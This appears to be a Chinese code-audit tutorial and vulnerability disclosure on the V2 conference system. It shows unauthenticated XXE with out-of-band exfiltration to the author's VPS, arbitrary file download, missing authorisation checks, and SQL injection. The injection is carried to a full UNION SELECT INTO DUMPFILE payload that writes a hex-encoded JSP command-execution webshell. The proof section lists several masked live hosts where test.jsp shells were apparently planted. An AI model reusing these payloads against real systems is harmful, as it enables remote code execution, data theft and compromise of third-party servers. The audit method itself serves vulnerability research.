java代码审计基础教程之V2会议系统多个漏洞集合/无需登录
Discription

### 简要描述:

包括 sql注入 任意文件下载 越权 getshell xml实体注入
感谢@loopx9大牛帮助

### 详细说明:

因为学习java并不是很长时间,也没有做深入的研究。但是在学习之后,发现可以审计出一些简单的javaweb漏洞,所以想这这里和大家分享一下。
0x01审计之初
首先,我拿到了源码之后,大概看了一下这个系统的架构,发现是通过Struts写的。在具体看代码之前,我们先看一下这个会议系统有什么功能,在代码审计的时候,不能一股脑的先跑过去就看代码,我们要学会通过功能去找问题的缺陷。现在以**.**.**.**:8288/Conf/jsp/main/mainAction.do 这个站为测试案例。访问之后发现,只有列出了会议,登录,下载这些功能。其中会议进入需要密码,然后还有登录。但是无法注册用户,所以在这套系统中,我们应该去那种无需登录就可以利用的漏洞,如果要登录才能利用那就显得太鸡肋了。先通过常规的黑盒测试并没有发现漏洞(目前暴露出来的功能),下一步我们来审计源码。
0x02 源码审计
在审计javaweb的时候,我的第一步是去看web.xml这种配置文件,在这里里面配置了url的路由规则,severlet的配置,以及fitler的设置。其中fitler的作用就是某一后缀或者某一目录下的所以文件做一次拦截,一般就是用来验证那些需要登录的功能。
ConfWEB-INFweb.xml

“`

requestfilter
**.**.**.**mon.RequestFilter

requestfilter
/*

“`

这里设置了fitler,我们定位到**.**.**.**mon.RequestFilter

“`
public class RequestFilter extends HttpServlet
implements Filter
{
private FilterConfig filterConfig;
public void init(FilterConfig filterConfig)
throws ServletException
{
this.filterConfig = filterConfig;
}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain)
{
try
{
request.setCharacterEncoding(“UTF-8”);
filterChain.doFilter(request, response);
} catch (ServletException sx) {
this.filterConfig.getServletContext().log(sx.getMessage());
} catch (IOException iox) {
this.filterConfig.getServletContext().log(iox.getMessage());
}
}
public void destroy()
{
}
}
“`

这儿只是设置了一下页面编码为utf-8,然后继续下面操作,从这儿可以看出这个这个cms并没有通过fitler来做权限控制,这样就很有可能存在未授权的地方。
继续看web.xml里面的内容

“`

action
org.apache.struts.action.ActionServlet

config
/WEB-INF/struts-config.xml

debug
2

2

Apache-Axis Servlet
AxisServlet
org.apache.axis.transport.http.AxisServlet

proxoolAdmin
org.logicalcobwebs.proxool.admin.servlet.AdminServlet

action
*.do

AxisServlet
/servlet/AxisServlet

AxisServlet
*.jws

AxisServlet
/services/*

proxoolAdmin
/proxoolAdmin

“`

可以看出定义了proxoolAdmin servlet/AxisServlet /services/* 这些url路由,并且包含了/WEB-INF/struts-config.xml配置文件,让在这些url路由中发现

“`
**.**.**.**:8288//Conf/servlet/AxisServlet
“`

暴露了一些webservices的接口

[](https://images.seebug.org/upload/201603/2313254916bc5282f54fb62c598e7bcf02caf68e.jpg)

“`
**.**.**.**:8288/Conf/proxoolAdmin
“`

数据库的一些信息

[](https://images.seebug.org/upload/201603/23132709738498021249ac5310ad3e2309d3f2da.jpg)

先看暴露出的webservices接口存在什么问题
定位代码webappsConfWEB-INFclassescomv2techcmswebservicesDeptWebService.class

“`
public class DeptWebService
{
public String getWebServiceResult(int tradeCode, String xml, String webservicepass)
{
String rtn = “”;
ReadSystemConfig readSystem = new ReadSystemConfig();
if (!(readSystem.getWebservicespass().equals(webservicepass))) {
return “”;
}
DepartmentWebServiceBiz deptBiz = new DepartmentWebServiceBiz();
switch (tradeCode)
{
case 100:
rtn = deptBiz.addDepartment(xml);
break;
case 200:
rtn = deptBiz.updateDepartment(xml);
break;
case 300:
rtn = deptBiz.deleteDepartment(xml);
}
return rtn;
}
}
“`

其中有个参数为xml,然后通过不同的tradeCode,将xml参数传入其他地方,跟入addDepartment方法

“`
public String addDepartment(String xml)
{
Document document = null;
String deptName = “”;
String deptDesc = “”;
String thirdDeptid = “”;
String thirdParentid = “”;
String usernum = “”;
String inaddress = “”;
String deptorder = “”;
String rtn = “”;
try
{
document = loadXml(xml);
} catch (Exception e) {
return (rtn = “”);
}
………省略……..
}
“`

其中xml进入了loadXml函数,这儿可能存在xml实体注入。来测试一下。我这儿使用的是AWVS的webservices工具

“`
**.**.**.**:8288/Conf/services/BroadcastWebservice?wsdl
“`

[](https://images.seebug.org/upload/201603/231338346df192dbb281f931e34997a0f99b7abb.jpg)

直接注入实体发现报错了

[](https://images.seebug.org/upload/201603/23134212d4625da941852af42ae4153024a220bd.jpg)

我们将特殊字符进行实体html编码一次,因为在xml中是可以解析html编码后的数据,这里利用gopher协议来获取数据。
先在vps上面新建一个ext.dtd内容如下

“`

“>
%int;
%trick;
“`

在vps上面监听你设置的端口
然后在请求包处构造

“`
<!DOCTYPE root [
<!ENTITY % xxe SYSTEM “你外部实体地址”>
%xxe;
]>
“`

[](https://images.seebug.org/upload/201603/231348278d38e56a59193835eecbcfe731553944.jpg)

成功获取数据

[](https://images.seebug.org/upload/201603/23134921455ff2f8d80273d7377082dbea051fe6.jpg)

其中可以发现这个getWebServiceResult方法在多个地方调用,在被调用的地方都存在xml实体注入
包括

[](https://images.seebug.org/upload/201603/23135255c323e07f27ca3ef414c5babaa006b856.jpg)

分析完xml实体注入之后,我们继续看代码,我们来看struts-config.xml中的配置(关于struts-config配置可以看https://**.**.**.**/panjun-Donet/articles/1181811.html),所以在这儿我们着重找scope为request,因为我们这样才好利用漏洞。通阅读代码发现这个cms是通过在每个class类中来判断用户是否登录,代码如下

“`
HttpSession session = servletRequest.getSession();
if (session.getAttribute(“userinfobean”) == null) {
Utils utils = new Utils();
Cookie[] cookies = servletRequest.getCookies();
Locale locale = utils.setLocale(session, servletRequest, cookies);
session.setAttribute(“org.apache.struts.action.LOCALE”, locale);
return actionMapping.findForward(“sessioninvalid”);
}
“`

如果没有登录的话,就通过findForward方法到sessioninvalid,也在struts-config.xml中定义的

“`

“`

[](https://images.seebug.org/upload/201603/23140305f3b7e0c0737490437c8f54d30b605e6e.jpg)

通过阅读代码发现几处没有存在以上代码的类,这也意味着可以无需登录来利用漏洞
webappsConfWEB-INFclassescomv2techcmsbasecommonstrutsDownloadAction.class

“`
public class DownloadAction extends Action
{
public ActionForward execute(ActionMapping actionMapping, ActionForm actionForm, HttpServletRequest request, HttpServletResponse response)
{
try
{
String rootfilepath = System.getProperty(“catalina.home”);
String dirpath = File.separator;
rootfilepath = rootfilepath + dirpath + “..” + dirpath + “Server”;
String path = new String(rootfilepath + dirpath + new String(request.getParameter(“path”).getBytes(“ISO8859-1”), “UTF-8”));
File file = new File(path);
String filename = file.getName();
String ext = filename.substring(filename.lastIndexOf(“.”) + 1).toUpperCase();
InputStream fis = new BufferedInputStream(new FileInputStream(path));
byte[] buffer = new byte[fis.available()];
fis.read(buffer);
fis.close();
response.reset();
response.addHeader(“Content-Disposition”, “attachment;filename=” + new String(filename.getBytes()));
response.addHeader(“Content-Length”, “” + file.length());
OutputStream toClient = new BufferedOutputStream(response.getOutputStream());
if (ext.equals(“DOC”))
response.setContentType(“application/msword”);
else {
response.setContentType(“application/octet-stream”);
}
toClient.write(buffer);
toClient.flush();
toClient.close();
} catch (IOException ex) {
ex.printStackTrace();
}
return null;
}
“`

通过request.getParameter(“path”)获取path然后

“`
InputStream fis = new BufferedInputStream(new FileInputStream(path));
byte[] buffer = new byte[fis.available()];
fis.read(buffer);
fis.close();
“`

进行文件读取,然后下载。这是一个任意文件下载

“`
**.**.**.**:8288/Conf/jsp/common/downloadAction.do?path=../management/webapps/root/index.jsp
“`

webappsConfWEB-INFclassescomv2techcmsbulletinstrutsBulletinAction.class

“`
public class BulletinAction extends BaseAction
{
public ActionForward systemBulletin(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response)
{
UserBean userBean = (UserBean)request.getSession().getAttribute(“userinfobean”);
if (request.getSession().getAttribute(“userinfobean”) == null) {
return mapping.findForward(“sessioninvalid”);
}
saveToken(request);
PageBeans pb = null;
String action = request.getParameter(“action”);
String currentPage = request.getParameter(“currentPage”);
if ((currentPage == null) || (currentPage.equals(“null”))) {
currentPage = “1”;
}
int pageSize = 0;
BulletinManage bulletinmagege = new BulletinManage();
try {
pageSize = bulletinmagege.getRowNumber();
} catch (Exception e) {
e.printStackTrace();
}
pb = new PageBeans(pageSize, 30);
String startend = pb.differentiatePlan(action, Integer.parseInt(currentPage));
String[] pages = startend.split(“:”);
String startPage = pages[0];
String endPage = pages[1];
List bulletin = bulletinmagege.getPages(Integer.parseInt(startPage), Integer.parseInt(endPage));
currentPage = pb.getCurrentPage();
int number = (Integer.parseInt(currentPage) – 1) * 30;
request.setAttribute(“result”, bulletin);
request.setAttribute(“page”, pb);
request.setAttribute(“currentPage”, currentPage);
request.setAttribute(“number”, String.valueOf(number));
return mapping.findForward(“allsysbulletin”);
}
public ActionForward details(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response)
{
String sysId = request.getParameter(“sysId”);
BulletinManage bulletinBiz = new BulletinManage();
SystembulletinTable sysTable = bulletinBiz.getSysBulletinTable(sysId);
if (sysTable != null) {
sysTable.setContent(Utils.htmlConversion(sysTable.getContent()));
sysTable.setTheme(Utils.htmlConversion(sysTable.getTheme()));
}
request.setAttribute(“details”, sysTable);
return mapping.findForward(“details”);
}
public ActionForward delete(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response)
throws SQLException
{
BulletinManage bulletinBiz = new BulletinManage();
String sysId = request.getParameter(“sysId”);
bulletinBiz.deleteDate(sysId);
String currentPage = request.getParameter(“page”);
String forword = “/jsp/systembulletin/bulletinAction.do?operator=systemBulletin&currentPage=” + currentPage;
return new ActionForward(forword);
}
public ActionForward modify(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response)
{
BulletinManage bulletinBiz = new BulletinManage();
String sysId = request.getParameter(“sysId”);
String page = request.getParameter(“page”);
SystembulletinTable sysTable = bulletinBiz.getSysBulletinTable(sysId);
request.setAttribute(“modify”, sysTable);
request.setAttribute(“page”, page);
return mapping.findForward(“modify”);
}
public ActionForward state(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response)
{
BulletinManage bulletinBiz = new BulletinManage();
BulletinActionForm bulletinActionForm = (BulletinActionForm)form;
String sysId = bulletinActionForm.getSysId();
String indexId = request.getParameter(“indexId”);
request.setAttribute(“indexId”, indexId);
String state = bulletinActionForm.getState();
bulletinActionForm.setNotemeans(“state”);
SystembulletinTable sysTable = new SystembulletinTable();
try {
sysTable.setIdCondition(sysId);
sysTable.selectRecord();
sysTable.setState(state);
bulletinBiz.saveData(sysTable);
} catch (SQLException e) {
e.printStackTrace();
}
String currentPage = request.getParameter(“page”);
String forword = “/jsp/systembulletin/bulletinAction.do?operator=systemBulletin&currentPage=” + currentPage;
return new ActionForward(forword);
}
public ActionForward operation(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response)
{
BulletinActionForm bulletinActionForm = (BulletinActionForm)form;
SystembulletinTable sysBulletinTable = new SystembulletinTable();
BulletinManage bulletinBiz = new BulletinManage();
String sysId = bulletinActionForm.getSysId();
String theme = bulletinActionForm.getTheme();
theme = theme.trim();
if (theme.length() > 128) {
theme = theme.substring(0, 127);
}
String indexId = request.getParameter(“indexId”);
request.setAttribute(“indexId”, indexId);
String content = “”;
content = bulletinActionForm.getContent();
if (content.length() > 512) {
content = content.substring(0, 512);
}
String operation = request.getParameter(“operation”);
if (operation.equalsIgnoreCase(“return”)) {
return mapping.findForward(“return”);
}
if (sysId != null)
{
sysBulletinTable.setId(sysId);
}
sysBulletinTable.setTheme(theme);
sysBulletinTable.setContent(content);
if (!(isTokenValid(request))) {
saveToken(request);
return mapping.findForward(“bulletin”);
}
try {
String result = bulletinBiz.saveData(sysBulletinTable);
if (result.equals(“”))
return mapping.findForward(“bulletin”);
}
catch (Exception e) {
e.printStackTrace();
}
if (BulletinManage.iForward != 0) {
BulletinManage.iForward = 0;
return mapping.findForward(“bulletin”);
}
String currentPage = request.getParameter(“page”);
String forword = “/jsp/systembulletin/bulletinAction.do?operator=systemBulletin&currentPage=” + currentPage;
return new ActionForward(forword);
}
public ActionForward showIndexList(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response)
{
BulletinManage bulletinManage = new BulletinManage();
Vector vector = new Vector();
try {
vector = bulletinManage.showBulletin();
} catch (Exception e) {
log.error(“未取到公告信息,请检查数据库配置是否正确!”);
}
request.setAttribute(“vector”, vector);
return mapping.findForward(“sysBulletin”);
}
public ActionForward ajax(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response)
{
String sysId = request.getParameter(“sysId”);
BulletinManage bulletinBiz = new BulletinManage();
SystembulletinTable sysTable = bulletinBiz.getSysBulletinTable(sysId);
PrintWriter out = null;
try {
out = response.getWriter();
if (sysTable == null)
out.print(0);
else
out.print(1);
}
catch (IOException e) {
e.printStackTrace();
} finally {
if (out != null) {
out.close();
out = null;
}
}
return null;
}
public ActionForward getNews(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response)
{
BufferedReader br = null;
PrintWriter out = null;
try {
request.setCharacterEncoding(“UTF-8”);
response.setContentType(“Content-Type:text/html;charset=UTF-8”);
response.setCharacterEncoding(“UTF-8”);
response.setHeader(“Charset”, “UTF-8”);
out = response.getWriter();
String path = request.getSession().getServletContext().getRealPath(“../../../Server/ml.config”);
String managerUrl = null;
String beginStr = “”;
String endStr = “”;
managerUrl = new Utils().getMasterIp(path, beginStr, endStr);
String contextpath = request.getContextPath();
URL url = new URL(managerUrl + contextpath + “/jsp/systembulletin/bulletinAction.do?operator=getMasterNews”);
InputStream in = url.openStream();
br = new BufferedReader(new InputStreamReader(in, “UTF-8”));
String str = br.readLine();
out.write(str);
} catch (Exception e) {
out.write(“0”);
log.error(“[getNews]: throws Exception!”, e);
} finally {
try {
if (br != null) {
br.close();
br = null;
}
} catch (IOException e) {
br = null;
} finally {
if (out != null) {
out.close();
out = null;
}
}
}
return null;
}
public ActionForward getMasterNews(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response)
{
PrintWriter out = null;
try {
request.setCharacterEncoding(“UTF-8”);
response.setContentType(“Content-Type:text/html;charset=UTF-8”);
response.setCharacterEncoding(“UTF-8”);
response.setHeader(“Charset”, “UTF-8”);
out = response.getWriter();
int in = new BulletinManage().getMasterNews();
out.write(in + “”);
} catch (Exception e) {
out.write(“0”);
log.error(“[getMasterNews]: throws Exception!”, e);
} finally {
if (out != null) {
out.close();
out = null;
}
}
return null;
}
“`

在这个类中只有systemBulletin方法验证了是否登录,其他的方法都没验证。然后在这个类中又存在多个sql注入。由于这套系统默认是tomcat+mysql这样的架构,其中web路径是不变化的,而且使用mysql的root用户,所以直接可以通过sql注入来getshell。其中details方法,已经在https://**.**.**.**/bugs/wooyun-2010-0143276提交过了
下面我以modify方法为例

“`
public ActionForward modify(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response)
{
BulletinManage bulletinBiz = new BulletinManage();
String sysId = request.getParameter(“sysId”);
String page = request.getParameter(“page”);
SystembulletinTable sysTable = bulletinBiz.getSysBulletinTable(sysId);
request.setAttribute(“modify”, sysTable);
request.setAttribute(“page”, page);
return mapping.findForward(“modify”);
}
“`

通过 request.getParameter获取sysId然后进入bulletinBiz.getSysBulletinTable

“`
public SystembulletinTable getSysBulletinTable(String sysId)
{
SystembulletinTable sysTable = new SystembulletinTable();
try {
sysTable.setIdCondition(sysId);
if (!(sysTable.selectRecord()))
sysTable = null;
}
catch (SQLException e) {
e.printStackTrace();
}
return sysTable;
}
“`

然后进入了sql之中。

“`
**.**.**.**:8288/Conf/jsp/systembulletin/bulletinAction.do?operator=modify&sysId=1 order by 5
“`

返回正常

“`
**.**.**.**:8288/Conf/jsp/systembulletin/bulletinAction.do?operator=modify&sysId=1 order by 6
“`

返回为空,确定为五个字段。然后就可以直接写shell了。
构造

“`
**.**.**.**:8288/Conf/jsp/systembulletin/bulletinAction.do?operator=modify&sysId=1 UNION SELECT 1,2,3,4,0x3C2540207061676520636F6E74656E74547970653D22746578742F68746D6C3B20636861727365743D47424B2220253E0D0A3C2540207061676520696D706F72743D226A6176612E696F2E2A2220253E203C2520537472696E6720636D64203D20726571756573742E676574506172616D657465722822636D6422293B20537472696E67206F7574707574203D2022223B20696628636D6420213D206E756C6C29207B20537472696E672073203D206E756C6C3B20747279207B2050726F636573732070203D2052756E74696D652E67657452756E74696D6528292E6578656328636D64293B204275666665726564526561646572207349203D206E6577204275666665726564526561646572286E657720496E70757453747265616D52656164657228702E676574496E70757453747265616D282929293B207768696C65282873203D2073492E726561644C696E6528292920213D206E756C6C29207B206F7574707574202B3D2073202B225C725C6E223B207D207D20636174636828494F457863657074696F6E206529207B20652E7072696E74537461636B547261636528293B207D207D200D0A6F75742E7072696E746C6E286F7574707574293B253E into dumpfile ‘../../management/webapps/root/test.jsp’%23
“`

成功生成**.**.**.**:8288/test.jsp?cmd=whoami

[](https://images.seebug.org/upload/201603/2314414666524025a53ad0d96f0d76a005b1be3a.jpg)

webappsConfWEB-INFclassescomv2techcmsuserstrutsDeleteDeptAction.class
package com.v2tech.cms.user.struts;

“`
public class DeleteDeptAction extends Action
{
public ActionForward execute(ActionMapping actionMapping, ActionForm actionForm, HttpServletRequest servletRequest, HttpServletResponse servletResponse)
{
int deptid = Integer.parseInt(servletRequest.getParameter(“deptid”));
DepartmentDao deptdao = new DepartmentDao();
deptdao.deleteDepartmentByDeptId(deptid);
return actionMapping.findForward(“deldeptresult”);
}
}
“`

可以删除任意部门,且无需登录

### 漏洞证明:

案例

[](https://images.seebug.org/upload/201603/231446103660f64beefe06e5aea79be76770d61a.jpg)

采集测试了一些

“`
https://**.**.**.**:18080/test.jsp?cmd=whoami
**.**.**.**/test.jsp?cmd=whoami
https://**.**.**.**/test.jsp?cmd=whoami
https://**.**.**.**:443//test.jsp?cmd=whoami
https://**.**.**.**/test.jsp?cmd=whoami
**.**.**.**:8288/test.jsp?cmd=whoami
https://**.**.**.**/test.jsp?cmd=whoami
https://**.**.**.**/test.jsp?cmd=whoami
https://**.**.**.**/test.jsp?cmd=whoami
“`

xxe测试

[](https://images.seebug.org/upload/201603/23145140619adb176ef5e6f78e3fc61799113e11.jpg)Read More

Back to Main

Subscribe for the latest news: